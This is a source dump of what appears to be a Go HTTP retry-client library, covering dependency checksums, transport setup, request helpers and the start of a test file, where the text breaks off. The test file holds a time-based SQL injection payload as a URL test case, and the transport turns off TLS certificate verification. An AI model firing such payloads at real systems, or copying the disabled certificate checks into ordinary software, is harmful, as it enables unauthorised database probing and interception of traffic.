h1:q0dlN54Jm4NVSSuzisusQY0hqDWvu92C+TWveAxiVWk= 147 | github.com/zmap/zcrypto v0.0.0-20201128221613-3719af1573cf/go.mod h1:aPM7r+JOkfL+9qSB4KbYjtoEzJqUK50EXkkJabeNJDQ= 148 | github.com/zmap/zcrypto v0.0.0-20201211161100-e54a5822fb7e/go.mod h1:aPM7r+JOkfL+9qSB4KbYjtoEzJqUK50EXkkJabeNJDQ= 149 | github.com/zmap/zcrypto v0.0.0-20230422215203-9a665e1e9968 h1:YOQ1vXEwE4Rnj+uQ/3oCuJk5wgVsvUyW+glsndwYuyA= 150 | github.com/zmap/zcrypto v0.0.0-20230422215203-9a665e1e9968/go.mod h1:xIuOvYCZX21S5Z9bK1BMrertTGX/F8hgAPw7ERJRNS0= 151 | github.com/zmap/zlint/v3 v3.0.0/go.mod h1:paGwFySdHIBEMJ61YjoqT4h7Ge+fdYG4sUQhnTb1lJ8= 152 | go.etcd.io/bbolt v1.3.7 h1:j+zJOnnEjF/kyHlDDgGnVL/AIqIJPq8UoB2GSNfkUfQ= 153 | go.etcd.io/bbolt v1.3.7/go.mod h1:N9Mkw9X8x5fupy0IKsmuqVtoGDyxsaDlbk4Rd05IAQw= 154 | go.uber.org/multierr v1.11.0 h1:blXXJkSxSSfBVBlC76pxqeO+LN3aDfLQo+309xJstO0= 155 | go.uber.org/multierr v1.11.0/go.mod h1:20+QtiLqy0Nd6FdQB9TLXag12DsQkrbs3htMFfDN80Y= 156 | golang.org/x/crypto v0.0.0-20180904163835-0709b304e793/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= 157 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= 158 | golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= 159 | golang.org/x/crypto v0.0.0-20201124201722-c8d3bf9c5392/go.mod h1:jdWPYTVW3xRLrWPugEBEK3UY2ZEsg3UU495nc5E+M+I= 160 | golang.org/x/crypto v0.0.0-20201208171446-5f87f3452ae9/go.mod h1:jdWPYTVW3xRLrWPugEBEK3UY2ZEsg3UU495nc5E+M+I= 161 | golang.org/x/crypto v0.0.0-20210817164053-32db794688a5/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= 162 | golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= 163 | golang.org/x/crypto v0.6.0/go.mod h1:OFC/31mSvZgRz0V1QTNCzfAI1aIRzbiufJtkMIlEp58= 164 | golang.org/x/crypto v0.7.0/go.mod h1:pYwdfH91IfpZVANVyUOhSIPZaFoJGxTFbZhFTx+dXZU= 165 | golang.org/x/crypto v0.36.0 h1:AnAEvhDddvBdpY+uR+MyHmuZzzNqXSe/GvuDeob5L34= 166 | golang.org/x/crypto v0.36.0/go.mod h1:Y4J0ReaxCR1IMaabaSMugxJES1EpwhBHhv2bDHklZvc= 167 | golang.org/x/exp v0.0.0-20250106191152-7588d65b2ba8 h1:yqrTHse8TCMW1M1ZCP+VAR/l0kKxwaAIqN/il7x4voA= 168 | golang.org/x/exp v0.0.0-20250106191152-7588d65b2ba8/go.mod h1:tujkw807nyEEAamNbDrEGzRav+ilXA7PCRAd6xsmwiU= 169 | golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= 170 | golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= 171 | golang.org/x/mod v0.22.0 h1:D4nJWe9zXqHOmWqj4VMOJhvzj7bEZg4wEYa759z1pH4= 172 | golang.org/x/mod v0.22.0/go.mod h1:6SkKJ3Xj0I0BrPOZoBy3bdMptDDU9oJrpohJ3eWZ1fY= 173 | golang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= 174 | golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= 175 | golang.org/x/net v0.0.0-20190603091049-60506f45cf65/go.mod h1:HSz+uSET+XFnRR8LxR5pz3Of3rY3CfYBVs4xY44aLks= 176 | golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= 177 | golang.org/x/net v0.0.0-20201110031124-69a78807bb2b/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= 178 | golang.org/x/net v0.0.0-20201209123823-ac852fbbde11/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= 179 | golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= 180 | golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= 181 | golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= 182 | golang.org/x/net v0.8.0/go.mod h1:QVkue5JL9kW//ek3r6jTKnTFis1tRmNAW2P1shuFdJc= 183 | golang.org/x/net v0.38.0 h1:vRMAPTMaeGqVhG5QyLJHqNDwecKTomGeqbnfZyKlBI8= 184 | golang.org/x/net v0.38.0/go.mod h1:ivrbrMbzFq5J41QOQh0siUuly180yBYtLp+CKbEaFx8= 185 | golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= 186 | golang.org/x/oauth2 v0.5.0/go.mod h1:9/XBHVqLaWO3/BRHs5jbpYCnOZVjj5V0ndyaAM7KB4I= 187 | golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 188 | golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 189 | golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 190 | golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 191 | golang.org/x/sync v0.12.0 h1:MHc5BpPuC30uJk597Ri8TV3CNZcTLu6B6z4lJy+g6Jw= 192 | golang.org/x/sync v0.12.0/go.mod h1:1dzgHSNfp02xaA81J2MS99Qcpr2w7fw1gpm99rleRqA= 193 | golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 194 | golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 195 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 196 | golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 197 | golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 198 | golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 199 | golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 200 | golang.org/x/sys v0.0.0-20201126233918-771906719818/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 201 | golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 202 | golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 203 | golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 204 | golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 205 | golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 206 | golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 207 | golang.org/x/sys v0.31.0 h1:ioabZlmFYtWhL+TRYpcnNlLwhyxaM9kWTDEmfnprqik= 208 | golang.org/x/sys v0.31.0/go.mod h1:BJP2sWEmIv4KK5OTEluFJCKSidICx8ciO85XgH3Ak8k= 209 | golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw= 210 | golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= 211 | golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= 212 | golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= 213 | golang.org/x/term v0.6.0/go.mod h1:m6U89DPEgQRMq3DNkDClhWw02AUbt2daBVO4cn4Hv9U= 214 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= 215 | golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk= 216 | golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= 217 | golang.org/x/text v0.3.4/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= 218 | golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= 219 | golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= 220 | golang.org/x/text v0.8.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= 221 | golang.org/x/text v0.23.0 h1:D71I7dUrlY+VX0gQShAThNGHFxZ13dGLBHQLVl1mJlY= 222 | golang.org/x/text v0.23.0/go.mod h1:/BLNzu4aZCJ1+kcD0DNRotWKage4q2rGVAg4o22unh4= 223 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 224 | golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= 225 | golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= 226 | golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU= 227 | golang.org/x/tools v0.29.0 h1:Xx0h3TtM9rzQpQuR4dKLrdglAmCEN5Oi+P74JdhdzXE= 228 | golang.org/x/tools v0.29.0/go.mod h1:KMQVMRsVxU6nHCFXrBPhDB8XncLNLM0lIy/F14RP588= 229 | golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 230 | golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 231 | google.golang.org/appengine v1.6.7/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= 232 | google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= 233 | google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= 234 | google.golang.org/protobuf v1.28.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= 235 | google.golang.org/protobuf v1.28.1/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= 236 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 237 | gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 238 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= 239 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= 240 | gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys= 241 | gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 h1:uRGJdciOHaEIrze2W8Q3AKkepLTh2hOroT7a+7czfdQ= 242 | gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw= 243 | gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 244 | gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 245 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 246 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 247 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 248 | -------------------------------------------------------------------------------- /http.go: -------------------------------------------------------------------------------- 1 | package retryablehttp 2 | 3 | import ( 4 | "context" 5 | "crypto/tls" 6 | "net" 7 | "net/http" 8 | "os" 9 | "strings" 10 | "sync" 11 | "time" 12 | 13 | "github.com/projectdiscovery/fastdialer/fastdialer" 14 | ) 15 | 16 | // DisableZTLSFallback disables use of ztls when there is error in tls handshake 17 | // can also be disabled by setting DISABLE_ZTLS_FALLBACK env variable to true 18 | var DisableZTLSFallback = false 19 | 20 | // DefaultHostSprayingTransport returns a new http.Transport with similar default values to 21 | // http.DefaultTransport, but with idle connections and keepalives disabled. 22 | func DefaultHostSprayingTransport() *http.Transport { 23 | transport := DefaultReusePooledTransport() 24 | transport.DisableKeepAlives = true 25 | transport.MaxIdleConnsPerHost = -1 26 | return transport 27 | } 28 | 29 | // DefaultReusePooledTransport returns a new http.Transport with similar default 30 | // values to http.DefaultTransport. Do not use this for transient transports as 31 | // it can leak file descriptors over time. Only use this for transports that 32 | // will be re-used for the same host(s). 33 | func DefaultReusePooledTransport() *http.Transport { 34 | fd, _ := getFastDialer() 35 | transport := &http.Transport{ 36 | Proxy: http.ProxyFromEnvironment, 37 | MaxIdleConns: 100, 38 | IdleConnTimeout: 90 * time.Second, 39 | TLSHandshakeTimeout: 10 * time.Second, 40 | ExpectContinueTimeout: 1 * time.Second, 41 | MaxIdleConnsPerHost: 100, 42 | MaxResponseHeaderBytes: 4096, // net/http default is 10Mb 43 | TLSClientConfig: &tls.Config{ 44 | Renegotiation: tls.RenegotiateOnceAsClient, // Renegotiation is not supported in TLS 1.3 as per docs 45 | InsecureSkipVerify: true, 46 | MinVersion: tls.VersionTLS10, 47 | }, 48 | } 49 | if fd != nil { 50 | transport.DialContext = func(ctx context.Context, network, addr string) (net.Conn, error) { 51 | return fd.Dial(ctx, network, addr) 52 | } 53 | transport.DialTLSContext = func(ctx context.Context, network, addr string) (net.Conn, error) { 54 | return fd.DialTLS(ctx, network, addr) 55 | } 56 | } 57 | return transport 58 | } 59 | 60 | // DefaultClient returns a new http.Client with similar default values to 61 | // http.Client, but with a non-shared Transport, idle connections disabled, and 62 | // keepalives disabled. 63 | func DefaultClient() *http.Client { 64 | return &http.Client{ 65 | Transport: DefaultHostSprayingTransport(), 66 | } 67 | } 68 | 69 | // DefaultPooledClient returns a new http.Client with similar default values to 70 | // http.Client, but with a shared Transport. Do not use this function for 71 | // transient clients as it can leak file descriptors over time. Only use this 72 | // for clients that will be re-used for the same host(s). 73 | func DefaultPooledClient() *http.Client { 74 | return &http.Client{ 75 | Transport: DefaultReusePooledTransport(), 76 | } 77 | } 78 | 79 | var ( 80 | fdInit = &sync.Once{} 81 | fd *fastdialer.Dialer 82 | err error 83 | ) 84 | 85 | // getFastDialer returns a fastdialer.Dialer instance without creating it again 86 | func getFastDialer() (*fastdialer.Dialer, error) { 87 | fdInit.Do(func() { 88 | opts := fastdialer.DefaultOptions 89 | opts.CacheType = fastdialer.Memory 90 | fd, err = fastdialer.NewDialer(fastdialer.DefaultOptions) 91 | }) 92 | return fd, err 93 | } 94 | 95 | func init() { 96 | value := os.Getenv("DISABLE_ZTLS_FALLBACK") 97 | if strings.EqualFold(value, "true") { 98 | DisableZTLSFallback = true 99 | } 100 | } 101 | -------------------------------------------------------------------------------- /methods.go: -------------------------------------------------------------------------------- 1 | package retryablehttp 2 | 3 | import ( 4 | "net/http" 5 | "net/url" 6 | "strings" 7 | ) 8 | 9 | // Get is a convenience helper for doing simple GET requests. 10 | func (c *Client) Get(url string) (*http.Response, error) { 11 | req, err := NewRequest(http.MethodGet, url, nil) 12 | if err != nil { 13 | return nil, err 14 | } 15 | return c.Do(req) 16 | } 17 | 18 | // Head is a convenience method for doing simple HEAD requests. 19 | func (c *Client) Head(url string) (*http.Response, error) { 20 | req, err := NewRequest(http.MethodHead, url, nil) 21 | if err != nil { 22 | return nil, err 23 | } 24 | return c.Do(req) 25 | } 26 | 27 | // Post is a convenience method for doing simple POST requests. 28 | func (c *Client) Post(url, bodyType string, body interface{}) (*http.Response, error) { 29 | req, err := NewRequest(http.MethodPost, url, body) 30 | if err != nil { 31 | return nil, err 32 | } 33 | req.Header.Set("Content-Type", bodyType) 34 | return c.Do(req) 35 | } 36 | 37 | // PostForm is a convenience method for doing simple POST operations using 38 | // pre-filled url.Values form data. 39 | func (c *Client) PostForm(url string, data url.Values) (*http.Response, error) { 40 | return c.Post(url, "application/x-www-form-urlencoded", strings.NewReader(data.Encode())) 41 | } 42 | -------------------------------------------------------------------------------- /request.go: -------------------------------------------------------------------------------- 1 | package retryablehttp 2 | 3 | import ( 4 | "bytes" 5 | "context" 6 | "fmt" 7 | "net/http" 8 | "net/http/httptrace" 9 | "net/http/httputil" 10 | "net/url" 11 | "os" 12 | 13 | readerutil "github.com/projectdiscovery/utils/reader" 14 | urlutil "github.com/projectdiscovery/utils/url" 15 | ) 16 | 17 | // When True . Request uses `http` as scheme instead of `https` 18 | var PreferHTTP bool 19 | 20 | // Request wraps the metadata needed to create HTTP requests. 21 | // Request is not threadsafe. A request cannot be used by multiple goroutines 22 | // concurrently. 23 | type Request struct { 24 | // Embed an HTTP request directly. This makes a *Request act exactly 25 | // like an *http.Request so that all meta methods are supported. 26 | *http.Request 27 | 28 | //URL 29 | *urlutil.URL 30 | 31 | // Metrics contains the metrics for the request. 32 | Metrics Metrics 33 | 34 | Auth *Auth 35 | 36 | TraceInfo *TraceInfo 37 | } 38 | 39 | // Metrics contains the metrics about each request 40 | type Metrics struct { 41 | // Failures is the number of failed requests 42 | Failures int 43 | // Retries is the number of retries for the request 44 | Retries int 45 | // DrainErrors is number of errors occured in draining response body 46 | DrainErrors int 47 | } 48 | 49 | // Auth specific information 50 | type Auth struct { 51 | Type AuthType 52 | Username string 53 | Password string 54 | } 55 | 56 | type AuthType uint8 57 | 58 | const ( 59 | DigestAuth AuthType = iota 60 | ) 61 | 62 | // RequestLogHook allows a function to run before each retry. The HTTP 63 | // request which will be made, and the retry number (0 for the initial 64 | // request) are available to users. The internal logger is exposed to 65 | // consumers. 66 | type RequestLogHook func(*http.Request, int) 67 | 68 | // ResponseLogHook is like RequestLogHook, but allows running a function 69 | // on each HTTP response. This function will be invoked at the end of 70 | // every HTTP request executed, regardless of whether a subsequent retry 71 | // needs to be performed or not. If the response body is read or closed 72 | // from this method, this will affect the response returned from Do(). 73 | type ResponseLogHook func(*http.Response) 74 | 75 | // ErrorHandler is called if retries are expired, containing the last status 76 | // from the http library. If not specified, default behavior for the library is 77 | // to close the body and return an error indicating how many tries were 78 | // attempted. If overriding this, be sure to close the body if needed. 79 | type ErrorHandler func(resp *http.Response, err error, numTries int) (*http.Response, error) 80 | 81 | // WithContext returns wrapped Request with a shallow copy of underlying *http.Request 82 | // with its context changed to ctx. The provided ctx must be non-nil. 83 | func (r *Request) WithContext(ctx context.Context) *Request { 84 | r.Request = r.Request.WithContext(ctx) 85 | return r 86 | } 87 | 88 | // BodyBytes allows accessing the request body. It is an analogue to 89 | // http.Request's Body variable, but it returns a copy of the underlying data 90 | // rather than consuming it. 91 | // 92 | // This function is not thread-safe; do not call it at the same time as another 93 | // call, or at the same time this request is being used with Client.Do. 94 | func (r *Request) BodyBytes() ([]byte, error) { 95 | if r.Request.Body == nil { 96 | return nil, nil 97 | } 98 | buf := new(bytes.Buffer) 99 | _, err := buf.ReadFrom(r.Body) 100 | if err != nil { 101 | return nil, err 102 | } 103 | return buf.Bytes(), nil 104 | } 105 | 106 | // Update request URL with new changes of parameters if any 107 | func (r *Request) Update() { 108 | r.URL.Update() 109 | updateScheme(r.URL.URL) 110 | } 111 | 112 | // SetURL updates request url (i.e http.Request.URL) with given url 113 | func (r *Request) SetURL(u *urlutil.URL) { 114 | r.URL = u 115 | r.Request.URL = u.URL 116 | r.Update() 117 | } 118 | 119 | // Clones and returns new Request 120 | func (r *Request) Clone(ctx context.Context) *Request { 121 | r.Update() 122 | ux := r.URL.Clone() 123 | req := r.Request.Clone(ctx) 124 | req.URL = ux.URL 125 | ux.Update() 126 | var auth *Auth 127 | if r.hasAuth() { 128 | auth = &Auth{ 129 | Type: r.Auth.Type, 130 | Username: r.Auth.Username, 131 | Password: r.Auth.Password, 132 | } 133 | } 134 | return &Request{ 135 | Request: req, 136 | URL: ux, 137 | Metrics: Metrics{}, // Metrics shouldn't be cloned 138 | Auth: auth, 139 | } 140 | } 141 | 142 | // Dump returns request dump in bytes 143 | func (r *Request) Dump() ([]byte, error) { 144 | resplen := int64(0) 145 | dumpbody := true 146 | clone := r.Clone(context.TODO()) 147 | if clone.Body != nil { 148 | resplen, _ = getLength(clone.Body) 149 | } 150 | if resplen == 0 { 151 | dumpbody = false 152 | clone.ContentLength = 0 153 | clone.Body = nil 154 | delete(clone.Header, "Content-length") 155 | } else { 156 | clone.ContentLength = resplen 157 | } 158 | dumpBytes, err := httputil.DumpRequestOut(clone.Request, dumpbody) 159 | if err != nil { 160 | return nil, err 161 | } 162 | return dumpBytes, nil 163 | } 164 | 165 | // hasAuth checks if request has any username/password 166 | func (request *Request) hasAuth() bool { 167 | return request.Auth != nil 168 | } 169 | 170 | // FromRequest wraps an http.Request in a retryablehttp.Request 171 | func FromRequest(r *http.Request) (*Request, error) { 172 | req := Request{ 173 | Request: r, 174 | Metrics: Metrics{}, 175 | Auth: nil, 176 | } 177 | 178 | if r.URL != nil { 179 | urlx, err := urlutil.Parse(r.URL.String()) 180 | if err != nil { 181 | return nil, err 182 | } 183 | req.URL = urlx 184 | } 185 | 186 | if r.Body != nil { 187 | body, err := readerutil.NewReusableReadCloser(r.Body) 188 | if err != nil { 189 | return nil, err 190 | } 191 | r.Body = body 192 | req.ContentLength, err = getLength(body) 193 | if err != nil { 194 | return nil, err 195 | } 196 | } 197 | 198 | return &req, nil 199 | } 200 | 201 | // FromRequestWithTrace wraps an http.Request in a retryablehttp.Request with trace enabled 202 | func FromRequestWithTrace(r *http.Request) (*Request, error) { 203 | trace := &httptrace.ClientTrace{ 204 | GotConn: func(connInfo httptrace.GotConnInfo) { 205 | fmt.Fprintf(os.Stderr, "Got connection\tReused: %v\tWas Idle: %v\tIdle Time: %v\n", connInfo.Reused, connInfo.WasIdle, connInfo.IdleTime) 206 | }, 207 | ConnectStart: func(network, addr string) { 208 | fmt.Fprintf(os.Stderr, "Dial start\tnetwork: %s\taddress: %s\n", network, addr) 209 | }, 210 | ConnectDone: func(network, addr string, err error) { 211 | fmt.Fprintf(os.Stderr, "Dial done\tnetwork: %s\taddress: %s\terr: %v\n", network, addr, err) 212 | }, 213 | GotFirstResponseByte: func() { 214 | fmt.Fprintf(os.Stderr, "Got response's first byte\n") 215 | }, 216 | WroteHeaders: func() { 217 | fmt.Fprintf(os.Stderr, "Wrote request headers\n") 218 | }, 219 | WroteRequest: func(wr httptrace.WroteRequestInfo) { 220 | fmt.Fprintf(os.Stderr, "Wrote request, err: %v\n", wr.Err) 221 | }, 222 | } 223 | 224 | r = r.WithContext(httptrace.WithClientTrace(r.Context(), trace)) 225 | 226 | return FromRequest(r) 227 | } 228 | 229 | // NewRequest creates a new wrapped request. 230 | func NewRequestFromURL(method string, urlx *urlutil.URL, body interface{}) (*Request, error) { 231 | return NewRequestFromURLWithContext(context.Background(), method, urlx, body) 232 | } 233 | 234 | // NewRequestWithContext creates a new wrapped request with context 235 | func NewRequestFromURLWithContext(ctx context.Context, method string, urlx *urlutil.URL, body interface{}) (*Request, error) { 236 | bodyReader, contentLength, err := getReusableBodyandContentLength(body) 237 | if err != nil { 238 | return nil, err 239 | } 240 | 241 | // we provide a url without path to http.NewRequest at start and then replace url instance directly 242 | // because `http.NewRequest()` internally parses using `url.Parse()` this removes/overrides any 243 | // patches done by urlutil.URL in unsafe mode (ex: https://scanme.sh/%invalid) 244 | // Note: this does not have any impact on actual path when sending request 245 | // `http.NewRequestxxx` internally only uses `u.Host` and all other data is stored in `url.URL` instance 246 | httpReq, err := http.NewRequestWithContext(ctx, method, "https://"+urlx.Host, nil) 247 | if err != nil { 248 | return nil, err 249 | } 250 | urlx.Update() 251 | httpReq.URL = urlx.URL 252 | updateScheme(httpReq.URL) 253 | // content-length and body should be assigned only 254 | // if request has body 255 | if bodyReader != nil { 256 | httpReq.ContentLength = contentLength 257 | httpReq.Body = bodyReader 258 | } 259 | 260 | request := &Request{ 261 | Request: httpReq, 262 | URL: urlx, 263 | Metrics: Metrics{}, 264 | } 265 | 266 | return request, nil 267 | } 268 | 269 | // NewRequest creates a new wrapped request 270 | func NewRequest(method, url string, body interface{}) (*Request, error) { 271 | urlx, err := urlutil.Parse(url) 272 | if err != nil { 273 | return nil, err 274 | } 275 | return NewRequestFromURL(method, urlx, body) 276 | } 277 | 278 | // NewRequest creates a new wrapped request with given context 279 | func NewRequestWithContext(ctx context.Context, method, url string, body interface{}) (*Request, error) { 280 | urlx, err := urlutil.Parse(url) 281 | if err != nil { 282 | return nil, err 283 | } 284 | return NewRequestFromURLWithContext(ctx, method, urlx, body) 285 | } 286 | 287 | func updateScheme(u *url.URL) { 288 | // when url without scheme is passed to url.URL it loosely parses and ususally actual host is either part of scheme or path 289 | // But this is sometimes handled internally when creating request using http.NewRequest 290 | // Also It is illegal to update http.Request.URL in serverHTTP https://github.com/golang/go/issues/18952 but no mention about client side 291 | 292 | // When Url of Request is updated (i.e http.Request.URL = tmp etc) this condition must be explicitly handled else 293 | // it causes `unsupported protocol scheme "" error ` 294 | 295 | if u.Host != "" && u.Scheme == "" { 296 | if PreferHTTP { 297 | u.Scheme = "http" 298 | } else { 299 | u.Scheme = "https" 300 | } 301 | } 302 | } 303 | -------------------------------------------------------------------------------- /request_test.go: -------------------------------------------------------------------------------- 1 | package retryablehttp_test 2 | 3 | import ( 4 | "bufio" 5 | "bytes" 6 | "os" 7 | "strings" 8 | "testing" 9 | 10 | "github.com/projectdiscovery/retryablehttp-go" 11 | ) 12 | 13 | func TestRequestUrls(t *testing.T) { 14 | testcases := []string{ 15 | "https://scanme.sh?exploit=1+AND+(SELECT+*+FROM+(SELECT(SLEEP(12)))nQIP)", 16 | "https://scanme.sh/%20test%0a", 17 | 